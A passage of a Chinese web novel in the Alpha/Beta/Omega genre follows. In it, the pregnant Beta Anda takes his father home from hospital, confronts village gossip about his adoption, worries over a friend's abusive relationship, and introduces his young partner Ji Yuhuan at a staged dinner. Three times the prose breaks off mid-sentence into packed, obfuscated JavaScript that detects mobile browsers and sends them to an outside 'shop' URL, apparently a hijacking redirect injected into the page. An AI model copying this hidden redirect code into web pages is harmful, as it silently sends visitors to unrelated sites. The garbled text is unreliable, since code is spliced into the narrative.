安达腹诽道:这会儿又肩不能扛手不能提了,那昨晚是什么?但是听见纪屿欢说想给老爹留下好印象,安达心里又怪美的,便也不勉强他,点了点头道:“那好吧,等以后有机会了再让你们见面。” 吃完早饭,他便约上发小陈斗明,到医院去接老爹。 一见面,陈斗明就跟个狗似的往他身上嗅:“你身上是什么味道?” 安达闻了闻自己的袖子,又闻了闻自己的衣领:“什么味道也没有啊!” 陈斗明一脸狐疑:“你真没闻到?” “没有啊,什么味道?” “我也说不上来,是一种很怪的味道,清新又有一点刺鼻,算不上好闻也算不上难闻。有点像香料或者中药一类的。” “那可能就是不小心沾到什么了吧。” 安达想着可能是给纪屿欢熬中药时沾上了,便也没当回事。 两人一起走到停车场,远远就看见一辆崭新、车漆锃亮的白色宝马,安达道:“我们小区什么时候有人开宝马了,我还是第一次见。” 陈斗明拍拍胸脯:“你猜是谁的?” “不会是你的吧?豆子,你出息啊,”安达走上前去,摸着蓝白相间的车标啧啧惊叹,“怎么一声不吭就买了辆新车!你什么时候攒了那么多钱?” 陈斗明得意道:“怎么样,这蓝天白云好看吧?” “好看。”安达由衷地说。 “那你也买一辆呗,”陈斗明说,“买一辆车的钱你会没有?” 安达道:“我现在要用钱的地方多着呢,哪有闲钱买这么贵的车。而且我都习惯坐公交了,要买也等孩子出生再说,买一辆普通的代步车就行了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547879|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “车开出去可是一个人的门面,反正我可以住得不好但一定要开好车。你就等着看我今天把这车开回村里,那些碎嘴子羡慕嫉妒恨的熊样吧!” 安达:“瞧你那嘚瑟劲!” 陈斗明爱抚着他的崭新宝马,道:“要我说,你要真想要,林老板会没有这个钱?你无非就是脸皮太薄罢了。” 提起林老板,安达又想起前几天在8812的那场闹剧,郁闷道:“你说啥呢,我已经和林老板拜拜了,从此老死不相往来。” “真掰了啊,”陈斗明瞪大了双眼,“我还以为你就是一时冲动……你、你挺有魄力啊。” “而且我连结婚对象都找好了。”安达补充道。 这句话犹如一道惊雷,陈斗明一下就蹦了起来,难以置信地瞪着他:“啊?!不是!这才几天啊?!这么大的事情,连我都一点不知道?还是不是哥们了?!” 安达嘿嘿一笑,“我还没来得及告诉你嘛。” 陈斗明一脸怀疑地盯着他:“你不是被骗了吧?” 安达莫名有些心虚,“怎么会呢?我哪有那么蠢?就是相亲的时候看对眼了,觉得挺合适的呗……” 陈斗明猛摇他的肩膀:“他男的女的?Alpha、Beta还是Omega?家住哪里?有没有兄弟姐妹?做什么工作?条件怎么样?性格怎么样?人品怎么样?” 安达被他晃得头晕:“呃……就是跟我一样的普通男Beta。现在么……在我家。” “什么?!”陈斗明大吼一声,抬头望了眼楼上,作势就要往楼里冲。 安达急忙拦住他,“你干什么?” 陈斗明道:“我要看看他是怎样的人啊!” 安达叉腰道:“人家又不认识你,你跟个神经病似的冲过去,把人家吓跑了怎么办?” “我靠,你还整上金屋藏娇那一套了是吧,见一下都不行。”陈斗明瞪他。 安达白他一眼:“反正迟早都会见到的,等时机成熟了,我当然就会介绍你们认识了,是我结婚又不是你结婚,你急个什么劲。” 陈斗明指着他的鼻子骂道:“好啊,安达你个重色亲友的。这还没结婚呢,胳膊肘就往外拐了。” 安达笑嘻嘻地推了推他,“哪有,只是今天不合适而已。出发吧,老爹还在医院等咱呢。” 陈斗明白他一眼,替他拉开副驾车门,没好气道:“上车!” 安达正要上车,却眼尖地捕捉到陈斗明袖口下一闪而过的青紫痕迹,脸色顿时变了。他眼疾手快地捉住陈斗明的手腕,唰地将袖子向上一掀,不由倒抽一口凉气。 只见陈斗明的小臂上满是纵横交错的淤痕,有的红有的青,狰狞可怖。 陈斗明脸色铁青地甩开他的手:“你干什么?” 安达不依不饶地抓住他:“谁干的?” 陈斗明僵着脸,不回答。 “是何珊,是不是?”安达观察着他的神情,不由抬高了音调,“她又打你了?” 陈斗明抽回手,将被安达掀起的袖子拽下来,“这是我的私事,你别多管闲事了。” 安达急了:“你当时明明说了和她分手的!”他看了看那辆宝马,又看了看陈斗明铁青的脸色,心中有了不好的猜测,“你别告诉我这辆车是她送你的,我告诉你,我是绝对不会坐她的车的!” 陈斗明沉默了一会儿,忽然像破罐子破摔般爆发了:“我就想要辆好车,她能给我买,怎么了?” 安达气血上涌,一把拽过他的手臂,“你看看她把你打成什么样了!她打人!家暴!你又不是不知道她下手没轻没重,你活腻歪了是吧,对这种人为什么还要上赶着凑过去?我真没想到你是这样的人!” 陈斗明忽然双眼通红地瞪着他,大吼道:“你别站着说话不腰疼了,又不是所有人都像你那么好命!” 安达愣住了,呆呆地望着眼前这个认识了二十多年的发小。 11. 11 陈斗明脸色变换了一会儿,不动声色地抽回手,“你、你别管那么多了,何珊对我挺好的,她要是对我不好,能给我买车吗?” 安达看见他那没出息的样子,心里堵得厉害,却也无法再说什么。他轻轻叹了口气,还是坐进了车里。 崭新的宝马在狭窄老旧的居民区穿行,安达犹豫良久,还是轻声问道:“豆子……你就没有想过要结婚生子吗?” 陈斗明说:“我又不像你那样喜欢小孩子,小孩对我来说是累赘,现在这样才逍遥呢。” 安达小心翼翼问道:“那……你就准备和何珊这样下去啊?” 何珊是个小有资产的富婆,女性Alpha,患有信息素躁狂症。据说她在易感期时曾经把一个小O打到颅骨骨折,但只进去蹲了三个月就出来了。 像她这样的富婆自然是看不上陈斗明这种劣等omege,因此当她发现陈斗明竟然会反抗她时,立刻就把他给甩了。 安达本以为他们分手后就没事了,却没想到何珊玩腻了其他人,又把主意打到了陈斗明头上,而陈斗明也是个没骨气的,竟然就这样和何珊纠缠不清。 陈斗明白安达一眼:“你现在跟那就帮村里人一样封建。谁规定一定要结婚了,我现在这样不也好好的。” “我不是要说这个,”安达忍不住往陈斗明的小臂处扫了一眼,“我是想说……你就没考虑找个普通人吗?” 十字路口信号灯扑闪扑闪,由红转绿,陈斗明猛地一脚油门,崭新的宝马车像箭一样飞出去,将安达重重甩在椅背上。 安达下意识护住肚子,“你干什么!你现在车里可坐着一个孕妇呢,你就不能小心点开吗?” “有什么不好,”陈斗明说,脸上没什么表情,“我现在这样挺好的啊。你就是被传统观念束缚住了,觉得非得要结婚生子,人生才算圆满。如果你不要这个孩子,继续跟着林老板,肯定不会比我过得差。” “可是我喜欢孩子啊,”安达说,“而且林韬还是个有妇之夫,就算他知道了这个孩子的存在,也迟早会有其他的孩子的,你说这都叫什么事儿呢,我不想让我的孩子在这种环境下长大。他可以有很多孩子,但我的孩子可能就这一个了。” 陈斗明同情地看了他一眼,“安达,你真可怜,果然要孩子就会变得可怜。” 安达道:“所以说,你也别怪我找对象的事不告诉你了。你也知道我这情况有多危急,要忙的事可多了。” 陈斗明揶揄道:“是是是,你现在可是有家室的人了,和我这种闲散游民当然不一样了。” 两人就这样你一句我一句侃到了医院,本就是多年的发小,自然很快就冰释前嫌了。 安老爹今年七十出头,身形消瘦,但气色看着还算不错。 今天是他出院的大喜日子,老人家在医院闷了许久,又在鬼门关前走了一遭,如今终于能出院,自然是高兴得不行。 他见安达和陈斗明一块来了,满面红光,喜笑颜开,嘴角快咧到耳根子上去了。 “老爹,你今天咋样?没哪里不舒服吧?我待会儿去给你办出院手续,就回村里去。” “好啊,好得很。”安老爹一听说“回村”,整个人精神头都不一样了。 出院手续一办完,他就开始指挥若定,仿佛自己不是刚从病床上下来的病号,而是要凯旋归乡的老将军,“东西别落下,床头柜里那个搪瓷杯要带走。还有那袋苹果,是我病友送的,别忘了。” 安达一边应着,一边替他收拾,心里却暗暗松了口气。老爹精神好,说明这一关算是熬过去了。 安达和陈斗明一起将大包小包塞进后备箱,安老爹坐在后座,喜悦之情溢于言表。 小轿车停在镇上的饭店门前,这辆崭新的宝马在一片乡镇风光中显得格外扎眼。 安老爹好不容易出院,安达自然要带他去吃点好的。一进饭店,就见着不少熟悉面孔。 “哎哟,老安现在气色这么好,这城里医院住一圈,整个人都不一样了!” “听说手术花了不少钱吧?这要没点家底,哪敢做这种手术。” “还是你家安达有本事,在城里混得好,不然哪轮得到你享福。” 话一句比一句热闹,眼睛却不自觉往安达和陈斗明身上扫。安达脸上堆着笑,熟练地应付,这些或真或假的热情和窥探,他太熟悉了。 “我这条命啊,是好不容易捡回来的,”安老爹声音洪亮,骄傲极了,“多亏了我儿子。” 立刻有人接话:“那可不,在城里工作和我们这些乡下人的可不一样。” “安达在城里做大生意呢?”一旁的赵大婶问道,“今年三十了没有?” “婶儿,我就是个打工的,”安达窘迫地回答道,“今年刚三十呢。” “嗐,恁大个小伙子还这么谦虚,我上次去打听了一下,老安做的那什么心脏手术,没个上百万,做得了?嗨哟,你跟豆子现在都是城里人咯,不一样咯!” 安达讪讪一笑。 大婶亲切地搂住他的肩,“婶跟你说,我有个侄女也在城里打工,下次有机会介绍你们认识认识啊……” 这边应付完赵大婶,那边又来了李大爷。 “小达是个好孩子啊,”头发花白的李大爷拍着安达的胳膊,感慨道,“有孝心!老安,你这是几辈子修来的福分哦!不是我多嘴,这年头,亲生的儿子都未必肯掏这么大一笔钱给老爹做手术,更别说……” 大爷的话音微妙地顿了一下,周围几个听清了的乡亲脸色也变了变。 旁边一个一直闷头喝酒的汉子,大概是醉了,大着舌头接了一句:“嗐,李大爷,这话说的……那亲不亲生的,咱们外人,谁说得准呢?” 此言一出,饭店大堂里安静了足足一秒。 “砰!” 一声巨响打破了诡异的安静,安老爹猛地站了起来,脸色铁青,刚才还红光满面的笑容消失得无影无踪。他手中的酒杯重重磕在桌上,酒液溅得到处都是。 “张老四,你他娘的放什么狗屁!”安老爹眼睛瞪得溜圆,死死盯着那醉汉,“你再多说一个字,老子撕了你的嘴!” 见安老爹真动怒了,周围的乡亲们连忙围上来,又是劝又是拦。 那醉汉也被吓醒了几分,缩着脖子不敢吭声,嘴里嘟嘟囔囔:“我、我就随口一说……” 安达不是安老爹亲生的,这是村里众所周知的事。 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547880|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年安老爹40多岁了,还是一个老光棍,在在一个中专当保安。 有一天,安老爹晚上在校园里巡逻,忽然听见omega厕所里传来婴儿的哭声。他冲进去一看,竟然是一个穿着校服、脸色苍白的学生,衣服裤子上沾满了血渍和污秽。旁边的地板上躺着一个皱巴巴的小婴儿,挥舞着手脚,哭得满脸紫红。不知道那个学生用了什么法子,硬是把脐带扯断了,半截耷拉在一旁,还冒着血。 很显然,这个omega学生刚刚在厕所里生下了一个孩子。 安老爹撞见这种事,一时傻在原地,震惊得话都说不出来了。 那个学生见怀孕生子的事被撞破,心如死灰,羞愤欲滴,竟是直接从厕所的窗户跳了出去,当场摔死。 学生的家长来学校里闹,他们不肯相信自己的儿子竟然能做出这种事,也不愿承认那个厕所里的孩子是他们的孙子,把矛头全指在学校和发现现场的安老爹身上。 校长办公室里吵得不可开交,安老爹无措地坐在一旁,一句话也插不上,小婴儿在他怀里哇哇大哭。 学校为了息事宁人,便把安老爹开除了。安老爹临走时见孩子可怜,便提出要收养那个孩子。学校正愁不知如何处置这孩子,学生家长也觉得这孩子是个耻辱,便欣然同意。就这样,安老爹把安达带回了村。 结果,村里不知怎么传起了谣言,说是安老爹□□了那个学生,还害的他怀孕,才会被学校开除的,要不然他怎么会好端端的去捡一个厕所里的孩子呢? 在安达长大的过程中,见多了这些若有似无、捕风捉影的恶意,可是他并没有习惯。流言之所以是流言,就是因为你没法把它当回事,也没法真的不把它当回事。 他本想让老爹和他一起住到城里,可是老爹却不肯。他不习惯住小区,觉得闷得慌,他喜欢那种大门敞开,坐在门口就能和街坊邻居唠嗑的地方。几番劝说无果后,安达只得作罢。 望着老爹单薄的背影和花白的头发,他不由心头发酸。他比谁都明白,老爹把他养到这么大,付出了多少。他不想再让老爹受一丝一毫的委屈。 安达上前两步,冷冷说道:“张伯伯,您是什么意思,请您说个清楚!” 旁边的大爷大婶们见气氛闹僵了,都上来劝架,“哎呀,小安,你也别放在心上,张老四你又不是不知道,他喝醉了嘴上没个把门的……你老爹这好不容易出院了,这大喜的日子,别跟个醉汉计较!” “不是我要计较,既然是他先说了难听的话,就不要怪我不客气!张伯伯,除非你给我老爹道个歉,不然这事没完!” “从城里回来架子就这么大……”张老四醉醺醺地嘟囔道,“我又没说什么!” 安达直勾勾地瞪着他,丝毫不肯让步。 “哎呀,张老四,你就道个歉吧!咱双方各退一步,不要伤了邻里和气!”见安达一副绝不善罢甘休的样子,旁边的大婶当起了和事佬。 张老四见安达怒瞪着他,也有些心虚,半晌才不情不愿地说了声:“对不住啊,老安。” 安达点了点头,上前一步,扶住安老爹的胳膊,同时转向脸色尴尬的饭店老板,“老板,麻烦给我们换个包间。我爹刚出院,需要安静点。” 12. 12 “哎哎哎!好咧好咧!”老板陪着笑,把他们领入里面的包厢,又吩咐服务员把外面的菜端进来。帘子一拉,总算是清净了。 被这么一闹,三人的好心情都泡了汤。 草草吃完饭,安达和陈斗明便将老爹送回了秀才村家里。家里长年没有人住,早就积了厚厚一层灰,一番大扫除过后,焕然一新。 好久没回过这个家了,安达忍不住东摸一下,西看一下,像个患了多动症的小孩。 “老爹,你看我找到了什么!” 安达不知道从哪个犄角旮旯里翻出了一架小木马,这架木马有些年头了,木板破旧斑驳,动一下就吱呀作响。 这还是他五六岁的时候,老爹用废弃的木板给他钉的。如今他当然坐不了了,否则这年久失修的木头制品恐怕很快就会散架。 陈斗明道:“哎哟,我记得这个,我小时候好像也坐过呢。” “那可不,”安达说,“你要当大将军,骑个马嘚嘚的,还拿个芦苇条充当红缨枪,我就只能当你的小弟,替你冲锋陷阵。” 陈斗明道:“你不要搞得好像都是我在欺负你一样。” 安达白他一眼:“可不是嘛,我不听你的,你就拿芦苇条抽我。对了,老爹,这么多年了你怎么还留着这个木马啊。” “那当然了,”安老爹冷哼一声,说,“以前你那些玩具我都还留着呢,什么拨浪鼓啊积木啊,本来想等以后有了孙子孙女给他们玩的,谁知道你到了三十岁还是个光棍!” 安达暂时还没法把怀孕的事告诉老爹,只能讪讪一笑,“老爹,我这不是在努力了吗?这种事情要看缘分,哪那么容易能成啊。” 安老爹瞪他一眼:“哼,努力努力,每次都是这套说辞,结果这么多年了还不是连个对象都没有!我告诉你啊,现在有很多年轻人都不乐意结婚,你可千万别学他们。个个都只想着自己,一点都不愿意承担责任,这怎么行?” 安老爹又把目光转向陈斗明:“还有豆子你也是,你们俩都老大不小了,真是一个比一个不让人省心。” 陈斗明见催婚的话题竟然转移到了自己身上,眼珠一转,道:“安伯,这回安达真不是在糊弄您,他前两天还去相亲了呢!”他一边说一边朝安达挤眉弄眼,“安达,对吧?” “真的?”安老爹大喜过望,“儿子,你真去相亲了?怎么样,相到心仪的对象没有?” 看着老爹充满期盼的眼神,安达实在不忍心叫他失望,只得硬着头皮道:“算、算是有一个吧。” 安老爹眼睛都亮了,“真有了?臭小子,有对象了你怎么不早说!” “刚、刚处没多久,还没确定下来呢。”安达含糊道。 “这怎么还叫没定下来啊,”陈斗明一脸坏笑,“人家都住你家里去了,跟金屋藏娇似的,连我都不让看一眼。” “真的?”安老爹噌一下站了起来,“他在你家?等等,他什么性别?” “就跟我一样,男beta……呃,你们别误会,他现在没地方住,才会住在我家的。” “行了,老爹又不是清朝人,你们想住一块儿就住一块儿,”安老爹猛拍了一下他的肩膀,“你还不快带我去见一下我儿媳!” 安达被安老爹这一声“儿媳”拍得心头一颤。 “老爹,您先坐下,别激动,这事真没您想的那么快。” “哪儿快了?”安老爹瞪他,像瞪一个不孝子,“你三十岁了,有个对象住在家里,我现在才知道,我还嫌慢呢!” 陈斗明还在一旁添油加醋,“就是啊安达,人家要不是认真的,能住进你家?你这藏着掖着的,不知道的还以为你是养了个小情人呢!” “你可闭嘴吧你!”安达瞪他一眼,咬牙低声道。 “我不闭,”陈斗明笑得一脸欠揍,“你搞这么神秘,让人更好奇了。反正现在还早,要见一面也完全来得及嘛,我载你们过去啊。” 安达:“……” 陈斗明的德行他最了解,这损货绝壁是故意的。 安老爹听得眉开眼笑,拄着拐杖就要往外走,“那还等什么,走,去城里,我今天非得见见不可。” “不是,老爹,他……他这两天身体不舒服,在家歇着呢……而且现在都四点多了,马上就要吃晚饭了……”安达找着借口。 “身体不舒服?那更得去看看了!哎呀,你看看你,怎么照顾人的!”安老爹思路清晰,毫不退让,“我就看他一眼,又不会打搅人休息!” 陈斗明还在一旁火上浇油,“就是啊安达,安伯都这么说了,你就打个电话问问呗。你怎么知道人家就不乐意见家长。” “……那好吧,”说到这个份上,安达实在是没辙了,“我先打个电话问问。” 安达拿着手机走到窗边,太阳光斜斜地照进来。他盯着屏幕上那个熟得不能再熟的名字,手指悬了好几秒,才按下拨号。 纪屿欢的个性有些古怪,让人拿不准他的脑袋里在想些什么。安达也不知道,纪屿欢乐不乐意和老爹见上一面,尤其是在早上刚刚拒绝过的情况下。 嘟—— 嘟—— 电话接通了。 听筒另一头传来纪屿欢轻快的声音,“喂,哥,有什么事吗?” 安达舔了舔嘴唇,硬着头皮开口,“屿欢,你现在在家里吗?就……你也知道,我老爹今天出院了,他听说我有对象,非要见上一面,所以……” 不知道哪里的鸡忽然叫了一声,显得分外突兀。 纪屿欢似乎轻笑了一声,“所以?” “就是……”安达低声道,“就是想问问你愿不愿意和我老爹在家里见上一面,也不用你做什么……” 电话那头静了一瞬。 安达心下一沉,“算了,你实在不愿意的话也没关系……” 电话另一头仍旧没人说话,安达也没说话。 良久,在一片白噪音里,纪屿欢轻轻叹了一声。 “哥,你怎么会觉得我不愿意。” 安达的心脏仿佛又被提起来了,“这么说,你愿意了?” 纪屿欢没有回答,只是柔声问道:“你们什么时候回来?” “我、我们从秀才村过去,大概二十多分钟吧。” “哥,这样吧,晚一点,好吗?”纪屿欢的声音从听筒中传来,“六点钟,我在家里等你们。” “好……”安达回答道,不由自主捏紧了手机。 见他挂了电话,陈斗明揶揄道:“六点?怎么,丑媳妇怕见公婆,他还要打扮下啊?” 安达白他一眼:“少贫。” 另一边安老爹又紧张又激动,一刻不停地在房间里踱来踱去,把纪屿欢的年龄、身高、体重、兴趣爱好到家里有几口人都问了个遍。 得知纪屿欢的情况,安老爹不由有些诧异,他怎么也没想到自己的儿子竟然会找一个这样的。不过,条件倒是次要的,还是得见上一面,才能确认对方的人品。 他们普通人家,也不求大富大贵,他只希望安达能找个品格端正、踏实本分的对象,尽快结婚。 到了五点半,安老爹简直一刻也等不及了,催着安达他们出发。 小轿车开到安达家楼下的时候,正值黄昏,平凡的居民楼被裹在赤红的晚霞里,显得黑洞洞的。 电梯里数字一跳一跳,安达的心跳仿佛也加快了。对于这次见面,他终究还是有些忐忑。 安老爹看起来竟也有些紧张,不断地对着电梯里的镜子整理着领口。 钥匙插进锁孔,家门打开,热腾腾的饭菜香气扑面而来。安达愣了愣,随后看见纪屿欢迎了出来,没穿他那些奇装异服,也没戴耳钉,反而穿了件米白色的毛衣,腰上系着围裙。 而且,不知道他使了什么法子,就连原本粉红色的头发也变成了黑色。 “这位就是安伯父吧,”他露出一个恰到好处的笑容,微微欠身,“快请进。” “哎哟……”安老爹一时被弄得有些局促了,“你就是屿欢吧?” “是的,伯父,”纪屿欢解下围裙,过来扶人,“之前就听说您在住院,我却没来得及去探望您,真是惭愧。” “好孩子,这有什么的,”安老爹上下打量着纪屿欢,脸上皱纹都笑开了花,“我一听你们的事,这病就全好了!” 陈斗明在背后压低声音对安达说道:“可以啊安达,这么漂亮贤惠的小媳妇上哪找的?” 纪屿欢的目光转向陈斗明的方向,微不可察地皱了皱眉,“请问这位是?” 安达把嬉皮笑脸的陈斗明拽到前面,“他是我的发小,陈斗明,叫他豆子就行。” “斗明哥好,”纪屿欢乖巧地笑了笑,“斗明哥也留下来吃晚饭吧?” “哎哟… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547881|204228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”陈斗明也有点局促了,“叫我豆子就好……” 陈斗明本就只是想看一眼安达传说中的对象长什么样,如今目的达成,他才懒得在这种见家长的场合里充当电灯泡。 “我就不在这儿吃了,我晚上还有点事,你们好好吃,好好吃。”说完,他在安达背后拧了一把,就溜之大吉了。 纪屿欢将安老爹扶进客厅,安老爹往前走了两步,眼睛亮了,“屿欢,这一桌子菜,都是你做的?” 安达顺着老爹的目光看去,这才注意到,不大的餐桌上,竟然摆满了菜肴!红烧鱼油亮喷香,白灼虾晶莹饱满,炒时蔬鲜嫩欲滴,排骨汤冒着热气,甚至还有一盘摆盘精致的饭后水果。 桌面摆放得整整齐齐,屋里收拾得干干净净,就连纪屿欢平时随手乱扔的乐谱和拨片都不见了踪影。 “是,”纪屿欢垂头,有些腼腆地笑了笑,“我听说伯父要来,便临时做了些菜,希望伯父不要嫌弃。” 安老爹眉开眼笑,拍着他的手背,“哎哟,这么多菜,叫你费心了,孩子。” 饭桌上氛围出奇的好,安老爹高兴得不行,连饭都比平时多吃了一碗,一边吃一边点头,“好吃,好吃,这排骨炖得入味,不柴。” “您喜欢就好,”纪屿欢从善如流地给他盛汤,“我想着您刚出院,清淡一点好,就没怎么放油和盐。” “你多大了?”安老爹问。 “二十二。” “我听安达说,你是做音乐相关的?” 纪屿欢低敛眉眼:“嗯……虽然平时比较自由,但也有些不稳定。” “都好,都好,”安老爹连连点头,“我看你人稳重,心细,比安达强多了。” 安达:“……” 纪屿欢面面俱到、进退有度,句句落在安老爹心坎上,活脱脱一个乖巧懂事、招人疼爱的晚辈模样,连安达都插不进嘴。 他低头扒饭,食不知味。 安老爹看着一桌子“儿媳”做的饭菜,再看看并肩坐着的儿子和“儿媳”,越看越喜欢,只觉得人生圆满莫过于此。 他拍拍安达的手背,语重心长道:“安达啊,你这对象找得好,我算是放心一半了。你俩好好处,早点把事儿定了,老爹就等着抱……” “老爹!”安达连忙打断他,“吃饭吃饭,汤要凉了。” 安老爹哈哈大笑,不再多说。 将安老爹送了回去,安达回家时,剩菜摆在桌上,厨房里摞着一叠碗筷。纪屿欢正穿着睡衣,窝在沙发里,摆弄着他的吉他。 见安达走过来,纪屿欢笑了笑,“哥,你回来了。” 安达又忍不住呆呆地想,大家都是两个眼睛一个嘴巴,他笑起来怎么就这么好看呢,别说老爹了,任谁看了都会喜欢的。 他走到餐桌旁,把剩菜用保鲜膜装起来,准备放进冰箱里。 “这些菜是哪里来的?不是你做的吧?” 安达很清楚纪屿欢根本不会做菜。今天早上他才刚把蛋煎成碳,相信他能做出这一桌子菜还不如相信太阳从西边出来。 “当然不是了,”纪屿欢说,“就附近的‘芝兰园’‘金竹一品’的外卖,我只是负责加热一下,装了个盘……哥,你不会怪我吧?” “也不是。你不会做饭,等我回来做就好了呀。都是自家人,搞这么隆重做什么。” “我就是怕伯父觉得我什么也不会……”纪屿欢垂下眼睫,长长的睫毛在眼底投下一小片阴影,“赚不了钱,就连饭也不会做。哥,我是不是特没用。” “不许这么说自己,”安达瞪他一眼,“你没见我老爹特喜欢你吗,恨不得拿你当亲儿子了,把我编排得一无是处。” 纪屿欢忽然上前一步,轻轻地抱住了安达。他比安达高一些,于是他垂下头,将下巴轻轻搁在安达的肩膀上,“哥,谢谢你。你对我真好,以前从来没有人对我这么好。” 纪屿欢身上有一股淡淡的、好闻的清香,安达下意识深吸了一口,有些飘飘然,“我们之间有什么好谢的。” 温热的体温穿透衣料传来,安达的思绪又往昨晚的旖旎飘忽去了。他的脑袋有点乱,顾左右而言他,“你的头发怎么又弄成黑的了?” “用了黑色的喷雾,是临时的。”纪屿欢松开了他,“不喜欢吗?” 安达傻乎乎地笑了一声:“喜欢。”黑色和粉红色都喜欢。 13. 13 就这样,结婚好像也成了顺理成章的事,被提上了日程。 纪屿欢终究年轻贪玩,本性难移,他一心扑在乐队上,偶尔人间蒸发,偶尔夜不归宿,混迹的场所不是酒吧就是Livehouse。安达不是没有和他吵过,气急了也会红着眼问他还能不能好好过了。可每次争吵过后,纪屿欢又会踩着月色回来,带着一身夜风的凉气,钻进他被窝里含含糊糊地认错。 有时候纪屿欢也会和他说起这些事,他的眼睛里好像装着星星,亮晶晶的,安达看着看着就忍不住开始发呆。纪屿欢说他们原来和朋友组了一支乐队,在圈子里小有名气,可是后来,他们因为理念不合大吵了一架。朋克自始至终只是小众文化,可是他们需要观众、需要场地、需要资金来维系乐队、维系生活,这个传统工业城市却没有孕育这一切的土壤,为此他必须得寻求改变,总有一天他会站在更大的舞台上,让他的声音被更多人听见…… 我绝对不会止步不前,他说。 他说的这些事,对于安达来说有些遥远,他没有什么特别大的梦想,只想经营好这一亩三分地,有一个温馨的家庭和一个可爱的孩子。但他喜欢听纪屿欢说话,他的声音很好听,像风吹过树叶一样沙沙作响。一个家里总会有一个倾诉者和一个倾听者,这是一个包容的地方,而他要扮演好自己的角色……后来,纪屿欢或许是觉得跟安达说这些也没什么意思,就不怎么说有关乐队的事了。 安达有时候会想,纪屿欢还那么年轻,像只拴不住脚的鸟。家对于他来说,或许真的只是个临时落脚的地方。 可至少这只鸟还愿意回来。 至少他还会在清晨揉着眼睛吃自己煮的粥,会笨手笨脚地把洗好的衣服晾得歪歪扭扭,会在自己腰酸时别别扭扭地伸手过来揉两下。每次纪屿欢软着声音说“哥,我知道错了”,或者从背后抱住他说“哥,还是你最好了”,安达心里那点委屈和不快,就都化成了温热的潮水。 结婚不就是这样么?两个人看对了眼,能在一个屋檐下过日子,就够了。剩下的,总可以慢慢来。家人之间,哪有隔夜的仇。 安达一个人去医院做孕检时,医生指着屏幕上的小光点说:“看,心跳很好,很健康。” 他盯着那规律闪烁的小小光芒,觉得所有事情都在往正确的轨道上发展,仿佛心里一块巨石落地。 安老爹现在三天两头催婚。他年轻的时候因为又穷又长得不好看,讨不到老婆。后来又带上了安达这个拖油瓶,别人更加看不上他。 这事成为了他的心结,自从和纪屿欢见过一面后,他就将全部的期望都寄托在了安达身上,天天对安达耳提面命,“要对人家好,知道不?” “嘴要甜点,手脚要勤快,眼里得有活儿,别让人觉得你木愣愣的。你看人小纪多会说话,情商多高,这样的孩子谁见了不喜欢。” “受点委屈算什么?结婚哪有一点委屈不受的?人家还那么年轻,愿意结婚已经很好了。你要是把人气跑了,上哪找这么好的媳妇去,又漂亮,又听话。” 安达很想说:老爹你又没结过婚,怎么知道世界上有没有一点委屈不受的婚姻。但他怕老爹听完会揍他,又怕老爹偷偷掉眼泪,所以没有把这句话说出口,只是乖乖应道:“知道了知道了老爹,我保证会对他好的,行不?” 安老爹瞪他:“那你们什么时候结婚?” “他忙,他忙,”安达说,“而且我们才刚认识没多久,还想再培养培养感情呢。” 这天,纪屿欢回来得比平时早。他洗完澡,头发还湿淋淋滴着水,就蹭到正在厨房给他煎药的安达身边。 “哥,”他的声音比蜜还甜,从背后环住安达的腰,将下巴搁在他的肩窝,“我重新组了一支乐队,你想不想认识我们乐队其他成员?明天晚上,来我们排练室吧。” 安达手一顿,有些惊讶地转过头,“我吗?我又不懂你们那些摇滚啊朋克的,我去会不会不太合适。” 他又想起当时被纪屿欢丢进垃圾桶里的那张海报和那个演出视频,光鲜亮丽的乐手,颓废而狂热的氛围,这一切都离他太过遥远。 “怎么不合适?”纪屿欢收紧手臂,语气里带着不容置喙的亲昵,“你是我最重要的家人,我也想让我的朋友们认识你。” “家人”二字在安达心中激起一阵涟漪,他注视着那双漂亮惑人的眼睛,不由点了点头,“好啊。那我就这么过去吗?要不要做点什么准备或者带点什么?” 纪屿欢松开他笑,“哥你紧张什么,就是认识一下,要做什么准备。” 安达嘟囔道:“你们一群小年轻,又那么潮,不会显得我像个老古董吧?” 纪屿欢笑道:“怎么会,哥你放心,谁敢瞧不起你,我明天就把他从乐队里开除。” 安达见中药熬得差不多了,便将药汁倒进碗里,用勺子轻轻搅了搅,又俯身细致地吹了会儿,确认不烫了,才递到纪屿欢面前。 “喏,可以喝了,小心烫。” 纪屿欢的脸顿时扭成了苦瓜,“哥,这药太苦了,今天能不能不喝了?就今天,好不好,我保证明天一定好好喝药。” 安达板着脸道:“不行,你上次也是这么说的,嘴里每一句真话。喝药就是要坚持,三天打鱼两天晒网,药都白喝了。” “那加点糖或者加点蜂蜜好不好,就加一点。”纪屿欢作可怜状,“哥,你最好了。” 